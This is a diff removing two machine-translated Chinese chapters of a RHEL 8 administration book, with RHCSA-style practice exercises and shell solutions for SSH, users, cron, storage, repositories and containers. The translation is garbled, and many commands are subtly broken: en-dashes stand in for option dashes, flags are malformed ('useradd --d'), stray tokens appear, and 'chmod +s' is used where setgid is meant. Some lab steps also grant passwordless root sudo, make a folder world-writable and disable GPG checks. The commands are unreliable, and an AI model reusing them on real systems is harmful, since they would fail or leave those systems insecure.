创建一个名为`devel`的组。 -10. 使`user`成为`devel`的成员。 -11. 将用户成员资格存储在*用户的主文件夹中名为`userids`的文件中。* -12. 用户*用户*和*root*用户应该能够通过 SSH 连接到本地主机,而不需要指定端口,并且默认为压缩连接。 -13. 找到系统中所有的手册页名称,并将这些名称放入名为*manpages.txt*的文件中。 -14. 打印不允许系统登录的用户的用户名。 对于每个用户名,打印该用户的用户 ID 和组。 -15. 每 5 分钟监控可用的系统资源。 不要使用 cron。 存储为*/root/resources.log*。 -16. 添加一个每分钟的作业来报告可用的空闲磁盘空间百分比,并将其存储在*/root/ frespace .log*中,以便它同时显示文件系统和空闲空间。 -17. 设置系统只保留 3 天的日志。 -18. 配置*/root/ frespace .log*和*/root/resources.log*的日志轮转。 -19. 配置对*pool.ntp.org*的时间同步,使用快速同步。 -20. 为子网*172.22.0.1/24*提供 NTP 服务器服务。 -21. 配置每分钟收集的系统统计信息。 -22. 设置系统用户的密码长度为 12 个字符。 -23. 创建一个名为*privacy,*的 bot 用户,该用户将保持其文件在默认情况下仅对自身可见。 -24. 在*共享*中创建一个可以被所有用户访问的文件夹,并且默认的新文件和目录仍然可以被*devel*组的用户访问。 -25. 配置 IPv4 地址*mynic 地址*,IPv6 地址 - - ```sh - Ip6: 2001:db8:0:1::c000:207/64 g - gateway 2001:db8:0:1::1 - Ipv4 192.0.1.3/24 - gateway 192.0.1.1 - ``` - -26. 允许主机使用*谷歌*主机名达到[www.google.com](https://www.google.com),使用*redhat*主机名达到[www.redhat.com](https://www.redhat.com) -27. 报告从供应商分发的文件中修改的文件,并将它们存储在*/root/ modified .txt*中。 -28. 通过 HTTP 在*/mirror 路径*下提供我们的系统安装介质包,以便其他系统作为镜像使用,在我们的系统中配置存储库。 从这个镜像中删除内核包,这样其他系统(甚至我们的系统)就找不到新的内核了。 防止 glibc 包在不删除它们的情况下被安装。 -29. 当为*用户*时,在*/home/user/root/*文件夹中复制*/root*文件夹,并每天保持同步,同步添加和删除。 -30. 检查我们的系统符合 PCI-DSS 标准。 -31. 增加一个 30gb 的硬盘到系统中。 但是,只需使用 15 GB 将镜像移动到它,这样在引导时就可以使用压缩和重复数据删除。 让它在*/mirror/mirror*下可用。 -32. 当我们计划根据相同的数据镜像自定义的包集时,将文件系统配置为报告我们的镜像至少要使用 1,500 GB。 -33. 在*/mirror/mytailormirror*下创建第二个镜像副本,删除所有以字母*k**开头的包。 -34. 在添加的硬盘驱动器的剩余空间(15gb)中创建一个新卷,并使用它来扩展根文件系统。 -35. 创建一个引导条目,允许您启动到紧急模式,以便更改根密码。 -36. 创建一个自定义调优配置文件,将第一个驱动器的预读量定义为*4096*,第二个驱动器的预读量定义为*1024*。 如果发生 OOM 事件,这个配置文件也会导致系统崩溃。 -37. 禁用并删除安装的 HTTP 包。 然后,使用*registry.redhat 设置 HTTP 服务器。 / /rhel8/httpd-24* - -对于本节,我们将复制目标列表中的每一项,然后在其下面提供解释,使用适当的语法突出显示和解释。 - -# 练习 1 决心 - -## 【难点】 将时区配置为 GMT - -我们可以通过执行`date`命令来检查当前的系统日期。 在随后打印的行的最后一部分,将显示时区。 为了配置它,我们可以使用`timedatectl`命令,或者修改`/etc/localtime`符号链接。 - -所以,为了达到这个目的,我们可以使用以下方法之一: - -* `timedatectl set-timezone GMT` -* `rm –fv /etc/localtime; ln –s /usr/share/zoneinfo/GMT /etc/localtime` - -现在`date`应该报告正确的时区。 - -## 2。 支持 root 用户 SSH 无密码登录 - -这样做需要以下条件: - -* SSH 必须安装并且可用(这意味着安装并启动)。 -* 根用户应该生成一个 SSH 密钥,并将其添加到授权密钥列表中。 - -首先,让我们用 SSH 来解决这个问题,如下所示: - -```sh -dnf –y install openssh-server; systemctl enable sshd; systemctl start sshd -``` - -现在,让我们通过按*Enter*来生成一个 SSH 密钥来接受所有的默认值: - -```sh -ssh-keygen -``` - -现在,让我们将生成的密钥(`/root/.ssh/id_rsa`)添加到授权密钥中: - -```sh -cd; cd .ssh; cat id_rsa.pub >> authorized_keys; chmod 600 authorized_keys -``` - -为了验证这一点,我们可以执行`ssh localhost date`,然后我们将能够获得当前系统的日期和时间,而无需提供密码。 - -## 【难点】 创建一个名为“user”的用户,该用户可以在没有密码的情况下连接到计算机 - -这需要创建一个用户和一个以类似于根用户的方式添加的 SSH 密钥。 下面的选项也将与用户相关,但为了本演示的目的,我们将把它们作为单独的任务处理: - -```sh -useradd user -su – user -``` - -现在,让我们通过按*Enter*来生成一个 SSH 密钥来接受所有的默认值: - -```sh -ssh-keygen -``` - -现在,让我们将生成的密钥(`/root/.ssh/id_rsa`)添加到授权密钥中: - -```sh -cd; cd .ssh; cat id_rsa.pub >> authorized_keys; chmod 600 authorized_keys -``` - -为了验证这一点,我们可以执行`ssh localhost date`,这样就可以在不提供密码的情况下获得当前系统日期和时间。 - -然后,使用`logout`返回到`root`用户。 - -## 【难点】 用户“用户”须每星期更换密码,并须提前 2 天通知,密码过期后须提早 1 天使用 - -这需要我们调整用户限制,如下所示: - -```sh -chage –W 2 user -chage –I 1 user -chage -M 7 user -``` - -## 5.【翻译】 根用户必须能够在没有密码的情况下以“用户”身份 SSH,这样就没有人可以使用密码作为根用户进行远程连接 - -这需要两个步骤。 第一种方法是使用根的授权密钥启用`user`,然后调优`sshd`守护进程,如下所示: - -```sh -cat /root/id_rsa.pub >> ~user/.ssh/authorized_keys -``` - -编辑`/etc/sshd/sshd_config`文件,添加或替换`PermitRootLogin`行,使其如下所示: - -```sh -PermitRootLogin prohibit-password -``` - -保存并重新启动`sshd`守护进程: - -```sh -systemctl restart sshd -``` - -## 【难点】 用户'user'应该能够成为根用户,并在没有密码的情况下执行命令 - -这意味着通过添加以下行来配置`/etc/sudoers`文件: - -```sh -user ALL=(ALL) NOPASSWD:ALL -``` - -## 【难点】 当用户试图通过 SSH 登录时,显示一条不允许非法访问此系统的合法消息 - -Create a file, for example, `/etc/ssh/banner` , with the message to display. 例如:`"Get out of here"`。 - -修改`/etc/ssh/sshd_config`并使用`/etc/ssh/banner`设置行旗号,然后使用`systemctl restart sshd`重新启动`sshd`守护进程。 - -## SSH 必须监听 22222 端口,而不是默认端口 - -这是一个棘手的问题。 第一步是修改`/etc/ssh/sshd_config`并定义端口`22222`。 完成后,使用以下命令重新启动`sshd`: - -```sh -systemctl restart sshd -``` - -这当然会失败…… 为什么? - -防火墙必须配置为: - -```sh -firewall-cmd –-add-port=22222/tcp --permanent -firewall-cmd –-add-port=22222/tcp -``` - -SELinux 必须被配置: - -```sh -semanage port -a -t ssh_port_t -p tcp 22222 -``` - -现在,可以重新启动`sshd`守护进程: - -```sh -systemctl restart sshd -``` - -## 【释义】 创建名为“devel”的组 - -使用以下命令: - -```sh -groupadd devel -``` - -## 10。 使“user”成为“devel”的成员 - -使用以下命令: - -```sh -usermod –G devel user -``` - -## 11.【难点】 将用户成员身份存储在名为“userids”的文件中,该文件位于“user”的主文件夹中 - -使用以下命令: - -```sh -id user > ~user/userids -``` - -## 12。 用户'user'和根用户应该能够通过 SSH 连接到本地主机,而不需要指定端口,并且默认为压缩连接 - -我们将默认的 SSH 端口修改为`22222`。 - -为`user`和 root 创建一个名为`.ssh/config`的文件,其内容如下: - -```sh -Host localhost -Port 22222 - Compression yes -``` - -## 13.【翻译】 找到系统中所有的手册页名称,并将其放入名为'manpages.txt'的文件中 - -手册页存储在`/usr/share/man`中。 因此,使用以下命令: - -```sh -find /usr/share/man/ -type f > manpages.txt -``` - -## 14.【难点】 打印没有登录的用户的用户名,以便允许他们访问系统,并打印每个用户的用户 ID 和组 - -下面的命令首先用`nologin`shell 构建系统中的用户列表: - -```sh -for user in $(cat /etc/passwd| grep nologin|cut -d ":" -f 1) -do -echo "$user -- $(grep $user /etc/group|cut -d ":" -f 1|xargs)" -done -``` - -从该列表中,检查`/etc/group`文件中的成员关系,只留下组名,并使用`xargs`将它们连接到要打印的字符串中。 - -上面的示例使用了`for`循环和通过`$()`内联执行命令。 - -## 15。 在不使用 cron 的情况下每 5 分钟监视可用的系统资源,并将它们存储为/root/resources.log - -理想的监视方式是 cron,但由于我们被告知不要使用它,这只会留给我们 systemd 计时器。 (您可以通过以下链接检查测试的文件:[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/tree/main/chapter-18-exercise1。](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/tree/main/chapter-18-exercise1%0D) - -创建`/etc/systemd/system/monitorresources.service`,包含以下内容: - -```sh -[Unit] -Description=Monitor system resources - -[Service] -Type=oneshot -ExecStart=/root/myresources.sh -``` - -创建`/etc/systemd/system/monitorresources.timer`,包含以下内容: - -```sh -[Unit] -Description=Monitor system resources - -[Timer] -OnCalendar=*-*-* *:0,5,10,15,20,25,30,35,40,45,50,55:00 -Persistent=true - -[Install] -WantedBy=timers.target -``` - -创建`/root/myresources.sh`,包含以下内容: - -```sh -#!/bin/bash -df > /root/resources.log -``` - -使能新的定时器,具体如下: - -```sh -systemctl daemon-reload -systemctl enable monitorresources.timer -``` - -它工作吗? 如果没有,`journalctl –f`将给出一些细节。 SELinux 阻止我们执行根文件,所以让我们将其转换为二进制类型并标记为可执行文件,如下所示: - -```sh -chcon –t bin_t /root/myresources.sh -chmod +x /root/myresources.sh -``` - -## 16.【翻译】 添加一个每分钟的作业来报告可用的空闲磁盘空间百分比,并将其存储在/root/ frespace .log 中,以便它显示文件系统和空闲空间 - -`df`报告使用了磁盘空间和可用空间,因此我们需要进行一些计算。 - -这将报告安装位置、大小、使用空间和可用空间,以`;`作为分隔符。 参考以下内容: - -```sh -df|awk '{print $6";"$2";"$3";"$4}' -``` - -Bash 允许我们进行一些数学操作,但这些操作缺少小数部分。 幸运的是,我们可以做一个小技巧:我们将对它进行循环,如下所示: - -```sh -for each in $(df|awk '{print $6";"$2";"$3";"$4}'|grep -v "Mounted") -do - FREE=$(echo $each|cut -d ";" -f 4) - TOTAL=$(echo $each|cut -d ";" -f 2) - echo "$each has $((FREE*100/TOTAL)) free" -done -``` - -`for`循环将检查所有可用的数据,获取一些特定的字段,用`;`分隔它们,然后对存储在`$each`变量中的每一行运行循环。 - -我们削减输出,然后得到第四个字段。 这是可用的空间。 - -我们削减输出,然后我们得到第二个字段。 这是块的总数。 - -由于`bash`可以做整数除法,我们可以乘以 100,然后除法得到百分比,并添加一个字符串作为输出的一部分。 - -或者(但不是作为说明),我们可以将`df`已经给出的使用百分比折现为 100,并节省一些计算步骤。 - -我们还需要将输出存储在一个文件中。 为此,我们可以将整个循环包装在一个重定向中,或者将其添加到`echo`行中,以便它附加到一个文件中。 - -我们也需要通过 cron 来做,所以完整的解决方案如下: - -创建一个包含以下内容的`/root/myfreespace.sh`脚本: - -```sh -for each in $(df|awk '{print $6";"$2";"$3";"$4}'|grep -v "Mounted") -do - FREE=$(echo $each|cut -d ";" -f 4) - TOTAL=$(echo $each|cut -d ";" -f 2) - echo "$each has $((FREE*100/TOTAL)) free" -done -``` - -然后,使用`chmod 755 /root/myfreespace.sh`使其可执行。 - -运行`crontab -e`编辑根目录的 crontab,并添加如下行: - -```sh -*/1 * * * * /root/myfreespace.sh >> /root/freespace.log -``` - -## 设置系统只保留 3 天的日志 - -这可以通过编辑`/etc/logrorate.conf`来实现,设置如下: - -```sh -daily -rotate 3 -``` - -删除其他每周、每月等事件,只留下我们想要的。 - -## 18.【释义】 配置/root/ frespace .log 和/root/resources.log 的日志轮换 - -创建一个`/etc/logrotate.d/rotateroot`文件,内容如下: - -```sh -/root/freespace.log { - missingok - notifempty - sharedscripts - copytruncate -} -/root/resources.log { - missingok - notifempty - sharedscripts - copytruncate -} -``` - -## 配置对 pool.ntp.org 的时间同步与快速同步 - -编辑`/etc/chrony.conf`,添加如下行: - -```sh -pool pool.ntp.org iburst -``` - -然后执行如下命令: - -```sh -systemctl restart chronyd -``` - -## 20。 为 172.22.0.1/24 子网提供 NTP 服务器服务 - -编辑`/etc/chrony.conf`,添加以下行: - -```sh -Allow 172.22.0.1/24 -``` - -然后执行如下命令: - -```sh -systemctl restart chronyd -``` - -## 21。 配置每分钟收集一次系统统计信息 - -执行如下命令: - -```sh -dnf –y install sysstat -``` - -我们现在需要修改`/usr/lib/systemd/system/sysstat-collect.timer`。 让我们创建一个覆盖,如下所示: - -```sh -cp /usr/lib/systemd/system/sysstat-collect.timer /etc/systemd/system/ -``` - -通过替换`OnCalendar`值来编辑`/etc/systemd/system/sysstat-collect.timer`,使其看起来如下所示: - -```sh -OnCalendar=*:00/1 -``` - -然后,用下面的命令重新加载单元: - -```sh -systemctl daemon-reload -``` - -## 配置系统用户密码长度为 12 个字符 - -用下面这行编辑`/etc/login.defs`: - -```sh -PASS_MIN_LEN 12 -``` - -## 创建了一个名为“隐私”的机器人用户,默认情况下它的文件只对自己可见 - -为此,运行以下命令: - -```sh -adduser privacy -su – privacy -echo "umask 0077" >> .bashrc -``` - -该分辨率使用`umask`来删除其他人对所有新创建文件的权限。 - -## 24。 创建一个名为/shared 的文件夹,所有用户都可以访问,默认的新文件和目录仍然可以被'devel'组的用户访问 - -为此,运行以下命令: - -```sh -mkdir /shared -chown root:devel /shared -chmod 777 /shared -chmod +s /shared -``` - -## 25。 使用提供的数据 Ip6 配置 IPv4 和 IPv6 地址名为“mynic”的网络连接,如下:2001:db8:0:1::c000:207/64 g gateway 2001:db8:0:1::1 IPv4 192.0.1.3/24 gateway 192.0.1.1 - -下面是如何实现这一点: - -```sh -nmcli con add con-name mynic type ethernet ifname eth0 ipv6.address 2001:db8:0:1::c000:207/64 ipv6.gateway 2001:db8:0:1::1 ipv4.address 192.0.1.3/24 ipv4.gateway 192.0.1.1 -``` - -## 允许主机使用谷歌主机名访问 www.google.com,使用 redhat 主机名访问 www.redhat.com - -运行并记录获取到的 IPs,如下所示: - -```sh -ping www.google.com -ping www.redhat.com -``` - -请记录上述查询到的 ip 地址。 - -编辑`/etc/hosts`,添加以下内容: - -```sh -IPFORGOOGLE google -IPFORREDHAT redhat -``` - -保存并退出。 - -## 27。 报告从供应商分发的文件中修改的文件,并将它们存储在/root/ modified .txt 中 - -下面是如何实现这一点: - -```sh -rpm -Va > /root/altered.txt -``` - -## 让我们的系统安装媒体包通过 HTTP 在 path /mirror 下可用,以便其他系统使用它作为镜像,并在我们的系统中配置存储库。 从镜像中删除内核包,这样其他系统(甚至我们的系统)就找不到新的内核了。 忽略要安装的回购文件中的 glibc 包,而不删除它们 - -这是一个复杂的问题,所以让我们一步一步地研究它。 - -安装`http`并使用以下方法启用它: - -```sh -dnf –y install httpd -firewall-cmd --add-service=http --permanent -firewall-cmd --add-service=http -systemctl start httpd -systemctl enable httpd -``` - -在`/mirror`下创建一个文件夹,然后复制源媒体包,使其在`http`上可用: - -```sh -mkdir /mirror /var/www/html/mirror -mount /dev/cdrom /mnt -rsync –avr –progress /mnt/ /mirror/ -mount –o bind /mirror /var/www/html/mirror -chcon -R -t httpd_sys_content_t /var/www/html/mirror/ -``` - -删除内核包: - -```sh -find /mirror -name kernel* -exec rm '{}' \; -``` - -使用以下命令创建存储库文件元数据: - -```sh -dnf –y install createrepo -cd /mirror -createrepo . -``` - -使用我们创建的存储库创建一个存储库文件,并在系统上设置它,忽略其中的`glibc*`包。 - -编辑`/etc/yum.repos.d/mymirror.repo`,添加以下内容: - -```sh -[mymirror] -name=My RHEL8 Mirror -baseurl=http://localhost/mirror/ -enabled=1 -gpgcheck=0 -exclude=glibc* -``` - -## 作为“user”,拷贝/home/user/root/目录下的/root 文件夹,并每天保持同步,同步添加和删除 - -下面是如何实现这一点: - -```sh -su – user -crontab –e -``` - -编辑 crontab 并添加如下一行: - -```sh -@daily rsync -avr –-progress –-delete root@localhost:/root/ /home/user/root/ -``` - -## 30。 检查系统是否符合 PCI-DSS 标准 - -```sh -dnf –y install openscap scap-security-guide openscap-utils -oscap xccdf eval --report pci-dss-report.html --profile pci-dss /usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml -``` - -## 在系统中添加一个 30gb 的第二个硬盘驱动器,但只使用 15gb 将镜像移动到其中,从而使它在使用压缩和重复数据删除的引导时可用,并在/mirror/mirror 下可用 - -压缩和重复数据删除在这里的意思是 VDO。 我们需要把现有的镜子搬到那里,把旧的镜子搬到那里。 - -如果我们有安装介质,我们可以选择复制它,并重复内核删除或传输。 为此,首先让我们在新硬盘(`sdb`)的分区中创建 VDO 卷: - -```sh -fdisk /dev/sdb -n -p -1 - -+15G -w -q -``` - -这将从一开始就创建一个 15gb 的分区。 让我们在它上面创建一个 VDO 卷,使用以下命令: - -```sh -dnf –y install vdo kmod-kvdo -vdo create –n myvdo –device /dev/sdb --force -pvcreate /dev/mapper/myvdo -vgcreate myvdo /dev/mapper/myvdo -lvcreate –L 15G –n myvol myvdo -mkfs.xfs /dev/myvdo/myvol -# Let's umount cdrom if it was still mounted -umount /mnt -# Mount vdo under /mnt and copy files over -mount /dev/myvdo/myvol /mnt -rsync –avr –progress /mirror/ /mnt/mirror/ -# Delete the original mirror once copy has finished -rm –Rfv /mirror -umount /mnt -mount /dev/myvdo/myvol /mirror -``` - -此时,旧镜像被复制到 VDO 卷上的`mirror`文件夹中。 它安装在`/mirror`下,因此按照要求在`/mirror/mirror`下有原镜。 我们可能需要执行以下操作: - -* 将 mount`/mirror`绑定到`/var/www/html/mirror/`以使文件可用。 -* 恢复 SELinux 上下文以允许`httpd`守护进程访问`/var/www/html/mirror/`中的文件。 - -调整我们创建的 repofile 以指向新路径。 - -## 32。 将文件系统配置为报告至少 1,500 GB 大小,供我们的镜像使用 - -请参考以下命令: - -```sh -vdo growLogical --name=myvdo --vdoLogicalSize=1500G -``` - -## 在/mirror/mytailormirror 下创建镜像的第二个副本,并删除所有以 k*开头的包 - -下面是如何实现这一点: - -```sh -rsync –avr –progress /mirror/mirror/ /mirror/mytailormirror/ -find /mirror/mytailormirror/ -name "k*" -type f –exec rm '{}' \; -cd /mirror/mytailormirror/ -createrepo . -``` - -## 在硬盘驱动器的剩余空间(15gb)中创建一个新卷,并使用它扩展根文件系统 - -下面是如何实现这一点: - -```sh -fdisk /dev/sdb -n -p - - -w -q -pvcreate /dev/sdb2 -# run vgscan to find out the volume name to use (avoid myvdo as is the VDO from above) -vgextend $MYROOTVG /dev/sdb2 -# run lvscan to find out the LV storing the root filesystem and pvscan to find the maximum available space -lvresize –L +15G /dev/rhel/root -``` - -## 创建一个引导条目,允许我们进入紧急模式以更改根密码 - -下面是如何实现这一点: - -```sh -grubby --args="systemd.unit=emergency.target" --update-kernel=/boot/vmlinuz-$(uname –r) -``` - -## 创建一个自定义调优配置文件,将第一个驱动器的预读值定义为 4096,第二个驱动器的预读值定义为 1024——如果发生 OOM 事件,这个配置文件还会导致系统崩溃 - -参考以下命令: - -```sh -dnf –y install tuned -mkdir –p /etc/tuned/myprofile -``` - -编辑`/etc/tuned/myprofile/tuned.conf`文件,添加以下内容: - -```sh -[main] -summary=My custom tuned profile -[sysctl] -vm.panic_on_oom=1 -[main_disk] -type=disk -devices=sda -readahead=>4096 -[data_disk] -type=disk -devices=!sda -readahead=>1024 -``` - -## 禁用和删除已安装的 httpd 包,并使用 registry.redhat 设置 httpd 服务器。 io / rhel8 httpd-24 形象 - -下面是如何实现这一点: - -```sh -rpm –e httpd -dnf –y install podman -podman login registry.redhat.io # provide RHN credentials -podman pull registry.redhat.io/rhel8/httpd-24 -podman run -d --name httpd –p 80:8080 -v /var/www:/var/www:Z registry.redhat.io/rhel8/httpd-24 -``` \ No newline at end of file diff --git a/docs/rhel8-admin/19.md b/docs/rhel8-admin/19.md deleted file mode 100644 index 4c80fbda..00000000 --- a/docs/rhel8-admin/19.md +++ /dev/null @@ -1,642 +0,0 @@ -# 十九、实战练习 2 - -在第二个实践练习章节中,我们将运行一组练习来检查你在本书中获得的知识。 与本书的章节不同的是,并不是所有的步骤都被指定; 执行完成必要目标所需的步骤由您自行决定。 建议您避免查看章节作为指导,而是尝试使用您的内存或系统中可用的工具。 这段经历将是你参加正式考试时的一个关键因素。 - -强烈建议你用一个时钟开始这个练习,这样你就知道完成这个练习需要多长时间。 - -# 技术要求 - -本章的所有实践练习都需要安装一个运行 Red Hat Enterprise Linux 8 的**虚拟机**(**VM**),并安装在基础安装中。 此外,存储操作还需要新的虚拟驱动器。 - -这些练习假设你具备以下条件: - -* Red Hat Enterprise Linux 8 安装基本操作系统**最小安装**软件选择。 -* 使用活动订阅访问 Red Hat Customer Portal。 -* 虚拟机必须是一次性的; 也就是说,您在其上执行的操作可能使其无法使用,因此必须重新安装它。 - -# 运动小贴士 - -这是一份针对所有测试的一般性建议清单,其中大部分都是常识,但记住它们总是很有趣的: - -* 在开始考试前通读题目。 -* 特定的单词有特定的含义,可以提示要求或完成练习的方法。 这就是为什么,再一次,先阅读所有东西可能增加或删除可能性。 -* 请随意:安装您最喜欢的编辑器,运行`updatedb`,以便为您准备一个包含包和文件的新数据库,并定义您的键盘布局。 安装并学习如何使用`tmux`的基础知识,这样您就可以打开新的选项卡并命名它们,而不需要额外的窗口。 -* 定位请求之间的依赖关系。 有些目标的完成取决于其他目标,所以找到这些依赖项,看看你如何构建解决方案,而不必因为走错路而返回并重做一些步骤。 -* 使用一个计时器。 了解哪些练习需要更多的时间来完成是很重要的,这样你就可以找到需要改进的地方。 -* 不要记住特定的命令。 相反,通过为命令使用`man`、`/usr/share/docs`等参数来学习如何使用系统中可用的文档。 -* 确保更改持续存在,并且在重新引导后仍然处于活动状态。 有些更改在运行时可能是活动的,但这些更改必须持久化:防火墙规则、启动时启动的服务等等。 -* 请记住,您可以使用`dnf whatprovides "*/COMMAND"`查找与您可能丢失的文件相关的包。 -* 查看[https://www.redhat.com/en/services/training/ex200-red-hat-certified-system-administrator-rhcsa-exam?=Objectives](https://www.redhat.com/en/services/training/ex200-red-hat-certified-system-administrator-rhcsa-exam?=Objectives)官方 EX200 考试目标。 - -# 练习- 2 - -重要提示 - -按照设计,在下面的练习中,命令、包等将不会突出显示。 记住到目前为止学习的内容,以便检测关键字,了解需要做什么。 - -不要过早地进入解决方案; 试着想想并记住上面都写了些什么。 - -## 练习 - -1. 从本书的 GitHub 库[https://raw.githubusercontent.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/main/chapter-19-exercise2/users.txt](https://raw.githubusercontent.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/main/chapter-19-exercise2/users.txt)下载所需文件。 -2. 使用`users.txt`文件自动生成用户在系统中使用的值,按照以下顺序:`username`,`placeholder`,`uid`,`gid`,`name`,`home`,`shell`。 -3. 创建一个名为 users 的组,并将该组作为所有用户的主组,保留以每个用户命名的自己的组作为次要组。 -4. 更改用户的主文件夹,使其为组所有。 -5. 设置一个 HTTP 服务器,为每个用户启用一个网页,并为每个用户提供不同的简介。 -6. 允许`users`组中的所有用户成为 root 而不需要密码。 -7. 为每个用户创建 SSH 密钥,并将每个密钥添加到 root 和其他用户,以便每个用户可以像其他用户一样 SSH; 也就是说,没有密码。 -8. 禁用 SSH 系统的密码访问。 -9. 使用`/dev/random`为每个用户设置不同的密码,并将密码存储在`users.txt`文件的第二个字段中。 -10. 如果用户名中的字母数是 2 的倍数,那么将这个事实添加到每个用户描述页面中。 -11. 创建一个容器,运行`yq`python 包作为入口点。 -12. 为不是 2 的倍数的用户配置密码老化,以便他们即将过期。 -13. 使用日期命名的文件为一个月的日志配置每日压缩日志旋转。 -14. 将当天产生的所有日志保存在`/root/errors.log`中。 -15. 为系统库安装所有可用的更新。 -16. 使用之前在`/root`文件夹中下载的软件包修复损坏的 rpm 二进制文件。 -17. 让用户 doe 执行的所有进程以低优先级运行,而来自 john 的进程以高优先级运行(+/- 5)。 -18. 使系统以最高的吞吐量和性能运行。 -19. 更改系统网络接口,使其使用的 IP 地址高于它所使用的 IP 地址。 在同一接口上添加其他 IPv6 地址。 -20. 为所有用户创建并添加`/opt/mysystem/bin/`到系统 PATH 中。 -21. 创建防火墙区域,将其分配给接口,并将其设置为默认区域。 -22. 在系统中添加一个托管在`https://myserver.com/repo/`上的存储库,使用来自`https://myserver.com/mygpg.key`的 GPG 密钥,因为我们的服务器可能会宕机。 配置它,以便在不可用时可以跳过它。 - -# 练习 2 的答案 - -在本节中,我们将从目标列表中复制每个条目,并使用正确的语法突出显示来解释它们。 - -## 【难点】 从这本书的 GitHub 存储库 https://raw.githubusercontent.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/main/chapter-19-exercise2/users.txt 下载必要的文件 - -```sh -wget https://raw.githubusercontent.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/main/chapter-19-exercise2/users.txt -``` - -## 2。 使用 users.txt 文件以自动方式在系统中生成用户,使用提供的值,顺序如下:username、placeholder、uid、gid、name、home、shell - -首先,让我们用下面的代码来检查`users.txt`文件: - -```sh -cat users.txt -user;x;1000;1000;myuser1;/home/user1; /bin/false -john ;x ;1001 ;1001; John; /home/john ;/bin/false -doe ;x ;1001 ;1001; Doe; /home/doe ; /bin/csh -athena ;x ;1011 ;1011; Athena Jones; /home/ajones ; /bin/rsh -pilgrim ;x ;2011 ;2011; Scott Pilgrim; /home/spilgrim ; /bin/rsh -laverne; x ; 2020;2020; LaVerne;/home/LaVerne;/bin/bash -``` - -如请求中所述,该文件中的字段是`username`、`placeholder`、`uid`、`gid`、`name`、`home`、`shell`。 占位符不会被要求创建一个用户,因为它通常是密码,这样我们就可以在忽略其他数据的同时处理其他数据。 - -我们还可以看到,每个字段至少用一个`;`符号分隔,但有些字段的前面或后面有额外的空格。 既然我们也有姓氏,我们不能去掉所有的空格; 我们需要在实际文本之前和之后做这个。 - -我们需要使用带有`;`字段分隔符的 cut,但首先,我们需要逐行读取文件。 - -我们可以通过 Bash 内置的`read`函数来实现: - -```sh -cat users.txt|while read -r line; do echo ${line};done -``` - -以此为基础,我们可以开始构建创建用户所需的一切。 让我们先处理各个步骤,然后构建完整的命令行。 - -我们有很多行,所以对于每一行,我们需要定义字段并删除结束/开始空格: - -```sh -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1) -NEWUID=$(echo ${line}|cut -d ";" -f 3) -NEWGID=$(echo ${line}|cut -d ";" -f 4) -NEWNAME=$(echo ${line}|cut -d ";" -f 5) -NEWSHELL=$(echo ${line}|cut -d ";" -f 6) -``` - -在前面的示例中,我们回显每一行并使用`;`字段分隔符截断用`-f`指定的字段。 这允许我们准确地选择包含我们正在寻找的数据的字段。 为了更简单,我们可以将每个脚本存储在一个变量中,这样我们就可以重用代码片段,并且仍然清楚地了解每个脚本将要做什么。 - -前面的代码可以工作,但是如果有空格,*就会失败,所以我们需要扩展它们,只捕获不带空格的实际文本。 让我们用`xargs`来表示:* - -```sh -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWUID=$(echo ${line}|cut -d ";" -f 3|xargs) -NEWGID=$(echo ${line}|cut -d ";" -f 4|xargs) -NEWNAME=$(echo ${line}|cut -d ";" -f 5|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -NEWSHELL=$(echo ${line}|cut -d ";" -f 7|xargs) -``` - -下一步是构建添加用户的命令行: - -```sh -useradd --d "${NEWHOME}" --m --s "${NEWSHELL}" --u "${NEWUID}" --g "${NEWGID}" --c "${NEWNAME}" "${NEWUSERNAME}" -``` - -现在一切都准备好了,让我们构建解决方案: - -```sh -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWUID=$(echo ${line}|cut -d ";" -f 3|xargs) -NEWGID=$(echo ${line}|cut -d ";" -f 4|xargs) -NEWNAME=$(echo ${line}|cut -d ";" -f 5|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -NEWSHELL=$(echo ${line}|cut -d ";" -f 7|xargs) -useradd -d "${NEWHOME}" -m -s "${NEWSHELL}" -u "${NEWUID}" -g "${NEWGID}" -c "${NEWNAME}" "${NEWUSERNAME}" -done -``` - -## 【难点】 创建一个名为 users 的组,并将该组作为所有用户的主组,保留以每个用户命名的自己的组作为次要组 - -在本例中,我们需要创建在前一步中没有创建的组。 因此,一旦创建了新组,我们将循环遍历用户,为每个用户创建新组,然后修改用户以获得`users`组,并添加他们自己的组作为辅助组: - -```sh -groupadd users -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -groupadd -g ${NEWGID} ${NEWUSERNAME} -usermod -g users -G ${NEWUSERNAME} ${NEWUSERNAME} -done -``` - -## 【难点】 将用户的主文件夹更改为组所有 - -```sh -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -chown -R ${NEWUSERNAME}:users ${NEWHOME}/ -done -``` - -## 5.【翻译】 设置一个 HTTP 服务器,为每个用户启用一个网页,并为每个用户提供一个不同的小介绍 - -```sh -dnf -y install httpd -firewall-cmd --add-service=http --permanent f -firewall-cmd --reload -- -cat users.txt| while read -r line ; do -NEWUSERNAME=$(echo ${line}|cut -d ";" -f 1|xargs) -NEWUID=$(echo ${line}|cut -d ";" -f 3|xargs) -NEWGID=$(echo ${line}|cut -d ";" -f 4|xargs) -NEWNAME=$(echo ${line}|cut -d ";" -f 5|xargs) -NEWHOME=$(echo ${line}|cut -d ";" -f 6|xargs) -NEWSHELL=$(echo ${line}|cut -d ";" -f 7|xargs) -mkdir -p ${NEWHOME}/public_html/ -echo "Hello, my name is ${NEWNAME} and I'm a user of this system" > ${NEWHOME}/public_html/index.htm -Done -``` - -最后,我们需要通过编辑`/etc/httpd/conf.d/userdir.conf`来启用`homedirs`,并禁用`UserDir`,使其成为`Userdir public_html`: - -```sh -service httpd start 